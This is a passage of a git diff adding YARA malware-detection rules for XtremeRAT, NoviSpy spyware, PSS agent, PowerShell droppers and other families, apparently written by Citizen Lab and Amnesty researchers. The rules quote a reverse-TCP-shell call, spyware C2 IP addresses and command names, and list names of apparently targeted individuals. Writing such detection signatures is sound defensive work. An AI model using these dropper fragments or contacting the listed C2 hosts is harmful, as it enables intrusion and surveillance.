Hardy" + last_modified = "2014-07-10" + + strings: + // character replacement + $ = { 80 38 2B 75 03 C6 00 2D 80 38 2F 75 03 C6 00 5F } + + condition: + any of them +} + +private rule WarpStrings : Warp Family +{ + meta: + description = "Warp Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-07-10" + + strings: + $ = "/2011/n325423.shtml?" + $ = "wyle" + $ = "\\~ISUN32.EXE" + + condition: + any of them +} + +rule Warp : Family +{ + meta: + description = "Warp" + author = "Seth Hardy" + last_modified = "2014-07-10" + + condition: + WarpCode or WarpStrings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/wimmie.yara b/data/ioc/yara/malware_families/wimmie.yara new file mode 100644 index 0000000..ac8ea81 --- /dev/null +++ b/data/ioc/yara/malware_families/wimmie.yara @@ -0,0 +1,45 @@ +private rule WimmieShellcode : Wimmie Family +{ + meta: + description = "Wimmie code features" + author = "Seth Hardy" + last_modified = "2014-07-17" + + strings: + // decryption loop + $ = { 49 30 24 39 83 F9 00 77 F7 8D 3D 4D 10 40 00 B9 0C 03 00 00 } + $xordecrypt = {B9 B4 1D 00 00 [8] 49 30 24 39 83 F9 00 } + + condition: + any of them +} + +private rule WimmieStrings : Wimmie Family +{ + meta: + description = "Strings used by Wimmie" + author = "Seth Hardy" + last_modified = "2014-07-17" + + strings: + $ = "\x00ScriptMan" + $ = "C:\\WINDOWS\\system32\\sysprep\\cryptbase.dll" wide ascii + $ = "ProbeScriptFint" wide ascii + $ = "ProbeScriptKids" + + condition: + any of them + +} + +rule Wimmie : Family +{ + meta: + description = "Wimmie family" + author = "Seth Hardy" + last_modified = "2014-07-17" + + condition: + WimmieShellcode or WimmieStrings + +} diff --git a/data/ioc/yara/malware_families/xtreme.yara b/data/ioc/yara/malware_families/xtreme.yara new file mode 100644 index 0000000..ba11592 --- /dev/null +++ b/data/ioc/yara/malware_families/xtreme.yara @@ -0,0 +1,42 @@ +private rule XtremeRATCode : XtremeRAT Family +{ + meta: + description = "XtremeRAT code features" + author = "Seth Hardy" + last_modified = "2014-07-09" + + strings: + // call; fstp st + $ = { E8 ?? ?? ?? ?? DD D8 } + // hiding string + $ = { C6 85 ?? ?? ?? ?? 4D C6 85 ?? ?? ?? ?? 70 C6 85 ?? ?? ?? ?? 64 C6 85 ?? ?? ?? ?? 62 C6 85 ?? ?? ?? ?? 6D } + + condition: + all of them +} + +private rule XtremeRATStrings : XtremeRAT Family +{ + meta: + description = "XtremeRAT Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-07-09" + + strings: + $ = "dqsaazere" + $ = "-GCCLIBCYGMING-EH-TDM1-SJLJ-GTHR-MINGW32" + + condition: + any of them +} + +rule XtremeRAT : Family +{ + meta: + description = "XtremeRAT" + author = "Seth Hardy" + last_modified = "2014-07-09" + + condition: + XtremeRATCode or XtremeRATStrings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/yayih.yara b/data/ioc/yara/malware_families/yayih.yara new file mode 100644 index 0000000..f34b265 --- /dev/null +++ b/data/ioc/yara/malware_families/yayih.yara @@ -0,0 +1,42 @@ +rule YayihCode : Yayih Family +{ + meta: + description = "Yayih code features" + author = "Seth Hardy" + last_modified = "2014-07-11" + + strings: + // encryption + $ = { 80 04 08 7A 03 C1 8B 45 FC 80 34 08 19 03 C1 41 3B 0A 7C E9 } + + condition: + any of them +} + +rule YayihStrings : Yayih Family +{ + meta: + description = "Yayih Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-07-11" + + strings: + $ = "/bbs/info.asp" + $ = "\\msinfo.exe" + $ = "%s\\%srcs.pdf" + $ = "\\aumLib.ini" + + condition: + any of them +} + +rule Yayih : Family +{ + meta: + description = "Yayih" + author = "Seth Hardy" + last_modified = "2014-07-11" + + condition: + YayihCode or YayihStrings +} \ No newline at end of file diff --git a/data/ioc/yara/novispy.yara b/data/ioc/yara/novispy.yara new file mode 100644 index 0000000..4ea0559 --- /dev/null +++ b/data/ioc/yara/novispy.yara @@ -0,0 +1,154 @@ +rule APT_serbia_novispy_android_accesibilityservice { + meta: + description = "Rule for Serbian NoviSpy Android spyware APK, com.accesibilityservice version" + author = "Donncha O Cearbhaill, Amnesty International" + sample = "99673ce7f10e938ed73ed4a99930fbd6499983caa7a2c1b9e3f0e0bb0a5df602" + + strings: + $dex = { 64 65 78 0A 30 33 ?? 00 } + + // C2 communication + $c2_1 = "195.178.51.251" + $c2_2 = "79.101.110.108" + $c2_3 = "188.93.127.34" + + // Unique Strings + $u_1 = "kataklinger vibercajzna" ascii nocase + $u_2 = "select action_command.* from action_command where action_id = ? and trigger_type = ?" ascii nocase + $u_3 = "6FDF20EAFA2D58AF609C72AE7092BB45" ascii nocase + $u_4 = "{\"cellChangeMonitoring\":true,\"signalStrengthMonitoring\":true,\"temperatureDelta\":1," ascii nocase + $u_5 = "{\"fileUpload\":false,\"audioRecording\":false,\"cellChangeMonitoring\":true,"ascii nocase + $u_6 = "\"serverIp\":\"188.93.127.34\"" ascii nocase + $u_7 = "ucitavanjepodataka" ascii nocase + + // Other strings + $s_1 = "test.dat" ascii + $s_2 = "/active.config" ascii + $s_3 = "message_map.ser" ascii + $s_4 = "event type =" ascii + $s_5 = "change type subtree" ascii + $s_6 = "change type content description" ascii + $s_7 = "change type pane title" ascii + $s_8 = "content change type pane_appeared" ascii + $s_9 = "window state changed" ascii + $s_10 = "notification state changed" ascii + $s_11 = "window content changed" ascii + $s_12 = "view scrolled" ascii + $s_13 = "type selection changed" ascii + $s_14 = "type announcement" ascii + $s_15 = "scroll position =" ascii + $s_16 = "imei=%s;imsi=%s;phone=%s;sim_serial=%s;os=%s" + $s_17 = "imei=%s;imsi=%s;phone=%s;sim_serial=%s;roaming=%s;os=%s" + $s_18 = "last message = %s, level = %d, hash = %s, node count = %d" + $s_19 = "MyAccessibilityService" + + condition: + $dex at 0 and ( + any of ($u*) or + any of ($c2*) or + 7 of ($s*) + ) + } + + +rule APT_serbia_novispy_android_serv_services { + meta: + description = "Rule for Serbian NoviSpy Android spyware APK, com.serv.services version" + author = "Donncha O Cearbhaill, Amnesty International" + sample = "087fc1217c897033425fe7f1f12b913cd48918c875e99c25bdb9e1ffcf80f57e" + + strings: + $dex = { 64 65 78 0A 30 33 ?? 00 } + + // C2 communication + $c2_comm_1 = "178.220.122.57" + + // Unique Strings + + + // C2 commands received via SMS + $sms_c2_cmd_1 = "C_ARF" ascii + $sms_c2_cmd_2 = "C_ARN" ascii + $sms_c2_cmd_3 = "C_AWF" ascii + $sms_c2_cmd_4 = "C_AWI" ascii + $sms_c2_cmd_5 = "C_AWN" ascii + $sms_c2_cmd_6 = "C_CRF" ascii + $sms_c2_cmd_7 = "C_CRN" ascii + $sms_c2_cmd_8 = "C_LCW" ascii + $sms_c2_cmd_9 = "C_MNS" ascii + $sms_c2_cmd_10 = "C_MXS" ascii + $sms_c2_cmd_11 = "C_R_F" ascii + $sms_c2_cmd_12 = "C_R_N" ascii + $sms_c2_cmd_13 = "C_SMF" ascii + $sms_c2_cmd_14 = "C_SMN" ascii + $sms_c2_cmd_15 = "C_SWF" ascii + $sms_c2_cmd_16 = "C_SWN" ascii + $sms_c2_cmd_17 = "C_UIR" ascii + $sms_c2_cmd_18 = "C_UMF" ascii + $sms_c2_cmd_19 = "C_UMN" ascii + $sms_c2_cmd_20 = "C_UWF" ascii + $sms_c2_cmd_21 = "C_UWN" ascii + $sms_c2_cmd_22 = "C_WLF" ascii + $sms_c2_cmd_23 = "C_WLN" ascii + + // C2 commands received via FTP. + // This is not a comprehensive list of commands, generic command names are excluded to prevent false positives. + $ftp_c2_cmd_1 = "CALL_REC_OFF" ascii + $ftp_c2_cmd_2 = "CALL_REC_ON" ascii + $ftp_c2_cmd_3 = "CHARGING_REC_OFF" ascii + $ftp_c2_cmd_4 = "CHARGING_REC_ON" ascii + $ftp_c2_cmd_5 = "SECURE_REC_OFF" ascii + $ftp_c2_cmd_6 = "SECURE_REC_ON" ascii + $ftp_c2_cmd_7 = "SSD_MOBILE_OFF" ascii + $ftp_c2_cmd_8 = "SSD_MOBILE_ON" ascii + $ftp_c2_cmd_9 = "SSD_WIFI_OFF" ascii + $ftp_c2_cmd_10 = "SSD_WIFI_ON" ascii + $ftp_c2_cmd_11 = "UPLOAD_INTERVAL" ascii + $ftp_c2_cmd_12 = "UPLOAD_MOBILE_OFF" ascii + $ftp_c2_cmd_13 = "UPLOAD_MOBILE_ON" ascii + $ftp_c2_cmd_14 = "UPLOAD_WIFI_OFF" ascii + $ftp_c2_cmd_15 = "UPLOAD_WIFI_ON" ascii + $ftp_c2_cmd_16 = "AUTO_WIFI_INTERVAL" ascii + $ftp_c2_cmd_17 = "WIFI_LOCK_ON" ascii + $ftp_c2_cmd_18 = "WIFI_LOCK_OFF" ascii + $ftp_c2_cmd_19 = "AUTO_WIFI_ON" ascii + $ftp_c2_cmd_20 = "AUTO_WIFI_OFF" ascii + $ftp_c2_cmd_21 = "START_AUDIO" ascii + + // App local settings configured based on C2 commands. + $setting_1 = "UIR" ascii + $setting_2 = "ULW" ascii + $setting_3 = "ULM" ascii + $setting_4 = "SSW" ascii + $setting_5 = "SSM" ascii + $setting_6 = "CRN" ascii + $setting_7 = "SRN" ascii + $setting_8 = "CRC" ascii + $setting_9 = "MXS" ascii + $setting_10 = "MNS" ascii + $setting_11 = "AWF" ascii + $setting_12 = "AWI" ascii + $setting_13 = "CHR" ascii + $setting_14 = "WLS" ascii + $setting_15 = "A_R_N" ascii + $setting_16 = "A_R_F" ascii + $setting_17 = "U_I" ascii + $setting_18 = "U_W_N" ascii + $setting_19 = "S_W_N" ascii + $setting_20 = "U_M_F" ascii + $setting_21 = "S_M_F" ascii + $setting_22 = "A_W_F" ascii + $setting_23 = "A_W_I" ascii + $setting_24 = "W_L_N" ascii + $setting_25 = "C_R_F" ascii + $setting_26 = "CH_R_F" ascii + $setting_27 = "S_R_N" ascii + + condition: + $dex at 0 and ( + any of ($c2_comm*) or + 20 of ($sms_c2_cmd*) or + 20 of ($ftp_c2_cmd*) or + 20 of ($setting*) + ) +} \ No newline at end of file diff --git a/data/ioc/yara/oleidentifiers.yara b/data/ioc/yara/oleidentifiers.yara new file mode 100644 index 0000000..847f01f --- /dev/null +++ b/data/ioc/yara/oleidentifiers.yara @@ -0,0 +1,265 @@ +include "filetypes.yara" + +/* + +These string lists generated on the command line by: + +Author: +file ~/samples/all/* | perl -ne 'if(/Author: (.*?), Template:/) { $x = $1; $x =~ s/\"/\\\"/g; while($x =~ /\\(\d{3})/) { $n = oct($1); $nn = sprintf("%02x",$n); $x =~ s/\\$1/\\x$nn/; chomp $x; } print " \$ = \"\\x00$x\\x00\\x1e\"\n"; };' | sort | uniq + +Title: +$ file ~/samples/all/* | perl -ne 'if(/Title: (.*?), Author:/) { $x = $1; $x =~ s/\"/\\\"/g; while($x =~ /\\(\d{3})/) { $n = oct($1); $nn = sprintf("%02x",$n); $x =~ s/\\$1/\\x$nn/; chomp $x; } print " \$ = \"\\x00$x\\x00\\x1e\"\n"; };' | sort | uniq + +Last Saved By: +$ file ~/samples/all/* | perl -ne 'if(/Last Saved By: (.*?), Revision/) { $x = $1; $x =~ s/\"/\\\"/g; while($x =~ /\\(\d{3})/) { $n = oct($1); $nn = sprintf("%02x",$n); $x =~ s/\\$1/\\x$nn/; chomp $x; } print " \$ = \"\\x00$x\\x00\\x1e\"\n"; };' | sort | uniq + +*/ + + +rule OLEAuthor : Author OLEMetadata +{ + meta: + description = "Identifier for known OLE document authors" + author = "Seth Hardy" + last_modified = "2014-05-07" + + strings: + $ = "\x00111\x00\x1e" + $ = "\x0011\x00\x1e" + $ = "\x00123\x00\x1e" + $ = "\x002chu\x00\x1e" + $ = "\x007513A3DEA183474\x00\x1e" + $ = "\x00abc\x00\x1e" + $ = "\x00Administrator\x00\x1e" + $ = "\x00admin\x00\x1e" + $ = "\x00Aggarwal, Aakash\x00\x1e" + $ = "\x00beat\x00\x1e" + $ = "\x00Ben\x00\x1e" + $ = "\x00bf\x00\x1e" + $ = "\x00Booksway\x00\x1e" + $ = "\x00Bosh\x00\x1e" + $ = "\x00captain\x00\x1e" + $ = "\x00CC2\x00\x1e" + $ = "\x00cyano\x00\x1e" + $ = "\x00Dinesh\x00\x1e" + $ = "\x00Dolker\x00\x1e" + $ = "\x00Drokpa\x00\x1e" + $ = "\x00Findo\x00\x1e" + $ = "\x00FLORINE DATESSEN\x00\x1e" + $ = "\x00funghain\x00\x1e" + $ = "\x00HealthDeptt-01\x00\x1e" + $ = "\x00hy9901a\x00\x1e" + $ = "\x00IBM User\x00\x1e" + $ = "\x00IBM\x00\x1e" + $ = "\x00Igny\x00\x1e" + $ = "\x00IITK\x00\x1e" + $ = "\x00I. K\x00\x1e" + $ = "\x00Jamal Al-Masraf\x00\x1e" + $ = "\x00Joyce Havinga\x00\x1e" + $ = "\x00kalume\x00\x1e" + $ = "\x00Karma\x00\x1e" + $ = "\x00karmayeshi\x00\x1e" + $ = "\x00KChase\x00\x1e" + $ = "\x00ken\x00\x1e" + $ = "\x00khenrab\x00\x1e" + $ = "\x00Kunga Tashi\x00\x1e" + $ = "\x00Lenovo User\x00\x1e" + $ = "\x00Lenovo\x00\x1e" + $ = "\x00lenovo\x00\x1e" + $ = "\x00Lharisang\x00\x1e" + $ = "\x00Luitgard Hammerer\x00\x1e" + $ = "\x00MC SYSTEM\x00\x1e" + $ = "\x00mpzhang\x00\x1e" + $ = "\x00neuroking\x00\x1e" + $ = "\x00Ngawang Gelek\x00\x1e" + $ = "\x00niu2\x00\x1e" + $ = "\x00Owner\x00\x1e" + $ = "\x00pema tashi\x00\x1e" + $ = "\x00pepe\x00\x1e" + $ = "\x00perhat64\x00\x1e" + $ = "\x00Remote\x00\x1e" + $ = "\x00ResuR\x00\x1e" + $ = "\x00roy\x00\x1e" + $ = "\x00Samphel\x00\x1e" + $ = "\x00sard\x00\x1e" + $ = "\x00shirley\x00\x1e" + $ = "\x00shungqar\x00\x1e" + $ = "\x00Sofia Olsson\x00\x1e" + $ = "\x00Sonam Dolkar\x00\x1e" + $ = "\x00Son Huynh Hong\x00\x1e" + $ = "\x00system\x00\x1e" + $ = "\x00teguete\x00\x1e" + $ = "\x00tensangmo\x00\x1e" + $ = "\x00tenzin1959\x00\x1e" + $ = "\x00Tenzin\x00\x1e" + $ = "\x00Tran Duy Linh\x00\x1e" + $ = "\x00Traudl\x00\x1e" + $ = "\x00Tsedup\x00\x1e" + $ = "\x00Tsering Tamding\x00\x1e" + $ = "\x00unknown\x00\x1e" + $ = "\x00USER\x00\x1e" + $ = "\x00User\x00\x1e" + $ = "\x00user\x00\x1e" + $ = "\x00votoystein\x00\x1e" + $ = "\x00walkinnet\x00\x1e" + $ = "\x00World Uyghur Congress\x00\x1e" + $ = "\x00www\x00\x1e" + $ = "\x00 \x00\x1e" + $ = "\x00 \x00\x1e" + $ = "\x00 \x00\x1e" + $ = "\x00 \x00\x1e" + $ = "\x00\xf4_y\xb7\x80\x05\x9e\xbf\x00\x1e" + $ = "\x00xp\x00\x1e" + $ = "\x00YCanPDF\x00\x1e" + $ = "\x00y\x00\x1e" + $ = "\x00zsh\x00\x1e" + + condition: + IsOLE and (any of them) +} + + +rule OLETitle : Title OLEMetadata +{ + meta: + description = "Identifier for known OLE document titles" + author = "Seth Hardy" + last_modified = "2014-05-07" + + strings: + $ = "\x0001:00\x00\x1e" + $ = "\x00 23-Aprel chushidin keyin saet bir yirim,Xitayning 3 neper paylaqchisi seriqbuya yezida oy arilap yurup paylaqchiliq qiliwatqanda bir oyge toplann\xcaghan bir gurup uyghur yashlarni korgen we ularning yenida pichaq we tam teshidighan eswablarni korup gum\x00\x1e" + $ = "\x0046-120603 fice W648\x00\x1e" + $ = "\x0054-120602 15s\xb7K\x0c]\xb7\x00\x1e" + $ = "\x005-Iyul Urumchi Qirghinchiliqi heqide qisqiche Dokilat \x00\x1e" + $ = "\x00April 20-21, 2013\x00\x1e" + $ = "\x00asdfasdfasdf\x00\x1e" + $ = "\x00Bamako, le 04 d\x00\x1e" + $ = "\x00Best\x00\x1e" + $ = "\x00Dear All,\x00\x1e" + $ = "\x00Dear President and Executive Members,\x00\x1e" + $ = "\x00Full list of self-immolations in Tibet\x00\x1e" + $ = "\x00Help stop the destruction of my home, Lhasa, Tibet\x00\x1e" + $ = "\x00HHDL'visit in European\x00\x1e" + $ = "\x00II) Overview & Analysis:\x00\x1e" + $ = "\x00Institute for Defence Studies and Analyses\x00\x1e" + $ = "\x00IPT APPLICATION FORM\x00\x1e" + $ = "\x00Jharkhand supports Indian Parliamentary resolution on Tibet crisis\x00\x1e" + $ = "\x00Lieutenant General KENOSE BARRY PHILLIPE,\x00\x1e" + $ = "\x00OPERATIONAL MANUAL:\x00\x1e" + $ = "\x00PART 2 - Overview and Analysis\x00\x1e" + $ = "\x00PowerPoint Presentation\x00\x1e" + $ = "\x00Progress Chart: 15\x00\x1e" + $ = "\x00Progress Chart:\x00\x1e" + $ = "\x00Progress Chart\x00\x1e" + $ = "\x00RC\x00\x1e" + $ = "\x00(RESENDING)\x00\x1e" + $ = "\x00Talking Points EU-China Human Rights Dialogue June 2011\x00\x1e" + $ = "\x00TANC Community Center\x00\x1e" + $ = "\x00The Charg\x00\x1e" + $ = "\x00The following schedule of plans has been finalized for the purpose of holding the Second Special General Meeting of Tibetans being organized jointly by the Tibetan Parliament-in-Exile and the Kashag headed by the Kalon Tripa in accordance with the provis\x00\x1e" + $ = "\x00The Tibet Museum Project\x00\x1e" + $ = "\x00Tibetan Community in Switzerland & Liechtenstein, Binzstrasse 15, CH-8045 Zurich, Switzerland \x00\x1e" + $ = "\x00TSERING BHUTI\x00\x1e" + $ = "\x00Tsering Bhuti\x00\x1e" + $ = "\x00 \x00\x1e" + $ = "\x00#\x00\x1e" + $ = "\x00\x8d\x00\x1e" + $ = "\x00\x8d\x9a\x06\xb7\x00\x1e" + $ = "\x00\xc8\xf8!\xb7\x00\x1e" + $ = "\x00Yes, I would like to raise this point: how many more young Tibetan lives are to be sacrificed in these awful self immolations before China is likely to change its Tibet policies in favour of Tibetan autonomy\x00\x1e" + + + condition: + IsOLE and (any of them) +} + +rule OLELastSavedBy : LastSavedBy OLEMetadata +{ + meta: + description = "Identifier for known OLE document Last Saved By field" + author = "Seth Hardy" + last_modified = "2014-05-07" + + strings: + $ = "\x00111\x00\x1e" + $ = "\x0011\x00\x1e" + $ = "\x00123\x00\x1e" + $ = "\x00Administrator\x00\x1e" + $ = "\x00Admin\x00\x1e" + $ = "\x00Alex\x00\x1e" + $ = "\x00Audit\x00\x1e" + $ = "\x00A\x00\x1e" + $ = "\x00beat\x00\x1e" + $ = "\x00Ben\x00\x1e" + $ = "\x00bf\x00\x1e" + $ = "\x00Booksway\x00\x1e" + $ = "\x00Bosh\x00\x1e" + $ = "\x00captain\x00\x1e" + $ = "\x00CL_nelson\x00\x1e" + $ = "\x00Core\x00\x1e" + $ = "\x00cyano\x00\x1e" + $ = "\x00dainzin\x00\x1e" + $ = "\x00Dolker\x00\x1e" + $ = "\x00Findo\x00\x1e" + $ = "\x00FLORINE DATESSEN\x00\x1e" + $ = "\x00funghain\x00\x1e" + $ = "\x00HP\x00\x1e" + $ = "\x00hy9901a\x00\x1e" + $ = "\x00IBM User\x00\x1e" + $ = "\x00IBM\x00\x1e" + $ = "\x00Igny\x00\x1e" + $ = "\x00I. K\x00\x1e" + $ = "\x00ITCO\x00\x1e" + $ = "\x00jds\x00\x1e" + $ = "\x00Joyce Havinga\x00\x1e" + $ = "\x00karmayeshi\x00\x1e" + $ = "\x00ken\x00\x1e" + $ = "\x00khenrab\x00\x1e" + $ = "\x00Kunga Tashi\x00\x1e" + $ = "\x00lebrale\x00\x1e" + $ = "\x00Lenovo User\x00\x1e" + $ = "\x00Lenovo\x00\x1e" + $ = "\x00lenovo\x00\x1e" + $ = "\x00Lharisang\x00\x1e" + $ = "\x00Lhundup Damcho\x00\x1e" + $ = "\x00MC SYSTEM\x00\x1e" + $ = "\x00mm\x00\x1e" + $ = "\x00mpzhang\x00\x1e" + $ = "\x00neuroking\x00\x1e" + $ = "\x00niu2\x00\x1e" + $ = "\x00Normal.d\x00\x1e" + $ = "\x00Normal.w\x00\x1e" + $ = "\x00Normal\x00\x1e" + $ = "\x00one\x00\x1e" + $ = "\x00Owner\x00\x1e" + $ = "\x00pema tashi\x00\x1e" + $ = "\x00pepe\x00\x1e" + $ = "\x00PhiDiem\x00\x1e" + $ = "\x00ResuR\x00\x1e" + $ = "\x00roy\x00\x1e" + $ = "\x00Samphel\x00\x1e" + $ = "\x00system\x00\x1e" + $ = "\x00TCC Dhasa1\x00\x1e" + $ = "\x00tensangmo\x00\x1e" + $ = "\x00Tenzin\x00\x1e" + $ = "\x00test\x00\x1e" + $ = "\x00Tibet Ever\x00\x1e" + $ = "\x00Tran Duy Linh\x00\x1e" + $ = "\x00Traudl\x00\x1e" + $ = "\x00unknown\x00\x1e" + $ = "\x00User\x00\x1e" + $ = "\x00user\x00\x1e" + $ = "\x00USR\x00\x1e" + $ = "\x00walkinnet\x00\x1e" + $ = "\x00WIN7\x00\x1e" + $ = "\x00www\x00\x1e" + $ = "\x00 \x00\x1e" + $ = "\x00 \x00\x1e" + $ = "\x00 \x00\x1e" + $ = "\x00 \x00\x1e" + $ = "\x00y\x00\x1e" + + condition: + IsOLE and (any of them) +} \ No newline at end of file diff --git a/data/ioc/yara/payloads.yara b/data/ioc/yara/payloads.yara new file mode 100644 index 0000000..3af9068 --- /dev/null +++ b/data/ioc/yara/payloads.yara @@ -0,0 +1,14 @@ +rule XYPayload : Payload +{ + meta: + description = "Identifier for payloads using XXXXYYYY/YYYYXXXX markers" + author = "Seth Hardy" + last_modified = "2014-05-05" + + strings: + $start_marker = "XXXXYYYY" + $end_marker = "YYYYXXXX" + + condition: + $start_marker and $end_marker +} \ No newline at end of file diff --git a/data/ioc/yara/rules.yar b/data/ioc/yara/rules.yar new file mode 100644 index 0000000..cef7140 --- /dev/null +++ b/data/ioc/yara/rules.yar @@ -0,0 +1,162 @@ +rule PSS_Agent { + meta: + description = "PSS Agent versions 4.x and 5.x" + author = "Geoffrey Alexander " + date = "2017-07-20" + + strings: + $cmdproc = "CmdProc_" wide + + $u1 = "SS_Agent" ascii + $u2 = "pss-agent" ascii + $u3 = "DC615DA9-94B5-4477-9C33-3A393BC9E63F" ascii + $u4 = { 06 1f 41 49 4d 48 50 4f 31 } + + $s1 = "util::Process::" ascii + $s2 = "util::Resource::" ascii + $s3 = "util::System::" ascii + $s4 = "/M:{0FA12518-0120-0910-A43C-0DAA276D2EA4}" wide + $s5 = "Command is not allowed due to potential detection threat: %1%." wide + $s6 = "(%d) %.64s\\%.64s\\%.64s|%.64s|%.64s|%.64s|%.64s|%.64s|%.64s" wide + $s7 = "Name: %s Due: %02d/%02d/%04d %02d:%02d:%02d, Length: %d seconds" wide + $s8 = "Image will be taken on the next Skype call session." wide + $s9 = "\\\\.\\pipe\\BrowseIPC" wide + $s10 = "RES_BINARY" wide + $s11 = "/{433a-bbaf439-12982d4a-9c27}" wide + + condition: + uint16(0) == 0x5a4d and $cmdproc and 1 of ($u*) and 4 of ($s*) +} + +rule PSS_Pipeserver { + meta: + description = "PSS Pipeserver versions 4.x and 5.x" + author = "Geoffrey Alexander " + data = "2017-07-20" + + strings: + $u1 = "pss-agent" ascii + $u2 = "PSS_Agent" ascii + $u3 = "Agent path too long (>= MAX_PATH)" ascii + $u4 = "Agent is not running, executing it now\\n" ascii + $u5 = "Failed to create PssClock!" ascii + + $s1 = "LnkProxy" ascii + $s2 = "CUSTOMER\\Agent" ascii + $s3 = "BrowseIPC" ascii + $s4 = "CustomerConfig is not initialized yet" ascii + $s5 = "RES_BINARY" ascii + $s6 = "ipc::security_access::" ascii + $s7 = "util::Resource::" ascii + $s8 = "util::System::" ascii + $s9 = "AgentAdminGlobalEventName" wide + $s10 = "AgentDummyKillGlobalEventName" wide + $s11 = "AgentGlobalEventName" wide + $s12 = "AgentKillGlobalEventName" wide + $s13 = "AgentPipeServerInitGlobalEventName" wide + $s14 = "AgentUninstallGlobalEventName" wide + $s15 = "/M:{0FA12518-0120-0910-A43C-0DAA276D2EA4}" wide + $s16 = "\\\\.\\pipe\\BrowseIPC" wide + $s17 = "RES_BINARY" wide + $s18 = "/{433a-bbaf439-12982d4a-9c27}" wide + + condition: + uint16(0) == 0x5a4d and 1 of ($u*) and 8 of ($s*) +} + +rule PSS_lnkproxy { + meta: + description = "PSS lnkproxy versions 4.x and 5.x" + author = "Geoffrey Alexander " + date = "2017-07-20" + + strings: + $s1 = "COMMAND_LINE_BEGIN:" ascii + $s2 = ":COMMAND_LINE_END:" ascii + $s3 = "Could not execute process when no command is specified" ascii + $s4 = "lnkproxy.db" ascii + $s5 = "SPAWN_COMMAND_BEGIN:" ascii + $s6 = ":SPAWN_COMMAND_END" ascii + $s7 = "util::Deserializer::" ascii + $s8 = "util::FileDeserializer::" ascii + $s9 = "util::File::" ascii + $s10 = "util::Process::" ascii + $s11 = "util::System::" ascii + + condition: + uint16(0) == 0x5a4d and 4 of ($s*) +} + +rule PSS_Agent_v6 { + meta: + description = "PSS Agent version 6.0.0 and 6.1.0" + author = "Geoffrey Alexander " + date = "2017-07-20" + + strings: + $cmdproc = "CmdProc_" wide + + $u1 = "C:\\Windows\\temp\\KB2979214.pdb" ascii + $u2 = { 06 1f 41 49 4d 48 50 4f 31 } + + $s1 = "Did not complete transaction with pipe server" wide + $s2 = "SkypeControlAPIAttach" wide + $s3 = "SkypeControlAPIDiscover" wide + $s4 = "URL###Execute" wide + $s5 = "Failed to AddClipboardFormatListener, error [" ascii + $s6 = "transactionrequest." wide + $s7 = "DC615DA9-94B5-4477-9C33-3A393BC9E63F" ascii + $s8 = "getip..agentid" wide + $s9 = "AVAgentInstallException@agent@@" ascii + $s10 = "AVAgentCommandsException@agent@@" ascii + $s11 = "AVAgentCustomerConfigException@agent@@" ascii + $s12 = "AVTransactionParsingException@communication@@agent" ascii + $s13 = "AVStorageException@config@agent@@" ascii + $s14 = "AVDBStorageException@db@agent@@" ascii + + $str_decrypt_loop = { 8b 47 04 8b ce 83 e1 03 c1 e1 03 ba ?? ?? ?? ?? d3 ea 32 54 35 ?? 88 14 06 46 3b f3 } + + condition: + uint16(0) == 0x5a4d and $cmdproc and $str_decrypt_loop and 1 of ($u*) and 8 of ($s*) +} + +rule PSS_lnkproxy_v6 { + meta: + description = "PSS lnkproxy version 6.0.0 and 6.1.0" + author = "Geoffrey Alexander " + date = "2017-07-20" + + strings: + $s1 = "C:\\Windows\\temp\\KB2971112.pdb" + $s2 = "AVResourceException@exception@util@@" ascii + $s3 = "AVLnkControllerException@LnkProxy@@" ascii + $s4 = "AVLnkPayloadException@@" ascii + $s5 = "AVShellLinkException@LnkProxy@@" ascii + $s6 = "AVFileUtilitiesException@LnkProxy@@" ascii + $s7 = "AVLnkEntryException@LnkProxy@@" ascii + $s8 = "AVFileRollbackException@LnkProxy@@" ascii + + $str_decrypt_loop = { 8b 47 04 8b ce 83 e1 03 c1 e1 03 ba ?? ?? ?? ?? d3 ea 32 54 35 ?? 88 14 06 46 3b f3 } + + condition: + uint16(0) == 0x5a4d and 3 of ($s*) and $str_decrypt_loop +} + +rule PSS_Pipeserver_v6 { + meta: + description = "PSS Pipeserver version 6.0.0 and 6.1.0" + author = "Geoffrey Alexander " + date = "2017-07-20" + + strings: + $p1 = "PSS_Agent" ascii + $p2 = "pss-agent" ascii + + $s1 = "%2s%u.%u.%u.%u\\\\n" wide + $s2 = "CustomerConfigException@agent" ascii + + $str_decrypt_loop = { 8b 47 04 8b ce 83 e1 03 c1 e1 03 ba ?? ?? ?? ?? d3 ea 32 54 35 ?? 88 14 06 46 3b f3 } + + condition: + uint16(0) == 0x5a4d and $str_decrypt_loop and 1 of ($p*) and 1 of ($s*) +} diff --git a/data/ioc/yara/rules.yara b/data/ioc/yara/rules.yara new file mode 100644 index 0000000..f46f88c --- /dev/null +++ b/data/ioc/yara/rules.yara @@ -0,0 +1,273 @@ +rule powershell_dropper { + meta: + author = "Etienne Maynier" + email = "etienne@citizenlab.ca" + + strings: + $a = "$decentID = [System.Convert]::FromBase64String($indecentID)" + $b = "if($tmp[1].CPU -gt 0) {} else {[ReverseTCPShell]::run()}" + $c = "function Get-RSACode()" + $d = "-file %temp%\\233.ps1" + + condition: + 1 of them +} + +rule dropper_strings { + meta: + author = "Etienne Maynier" + email = "etienne@citizenlab.ca" + + strings: + $a = "bitsadmin /canceft\\windows\\currebitsadmin /addfibitsadmin /Resumbitsadmin /SetNosoftware" + $b = "\\microsotifyCmdLine %s rle %s c:\\windowsbitsadmin /creat\\system32\\net.ex" + $c = "rundll32.exe %s Main" + $d = "d1fasg34" + $e = "FindResource %s error" + + condition: + uint16(0) == 0x5A4D and 2 of them +} + +rule payload_wab32res_strings { + meta: + author = "Etienne Maynier" + email = "etienne@citizenlab.ca" + + strings: + $a1 = "%02d%02d%02d%02d%02d%03d" + $a2 = "459B2-3311-54C3- /Processid:{712" + $a3 = "CreateProcess %s" + $a4 = "FakeRun.dll" + $a5 = "Release\\FakeRun.pdb" + + condition: + uint16(0) == 0x5A4D and 2 of them +} + +rule pcnt_cert { + meta: + author = "Etienne Maynier" + email = "etienne@citizenlab.ca" + + strings: + $a = "MIIDWjCCAkICCQCdeJZhGKJakTANBgkqhkiG9w0BAQUFADBvMQswCQYDVQQGEwJV" + $b = "UzERMA8GA1UECAwITmVicmFza2ExEDAOBgNVBAcMB0xpbmNvbG4xDTALBgNVBAoM" + $c = 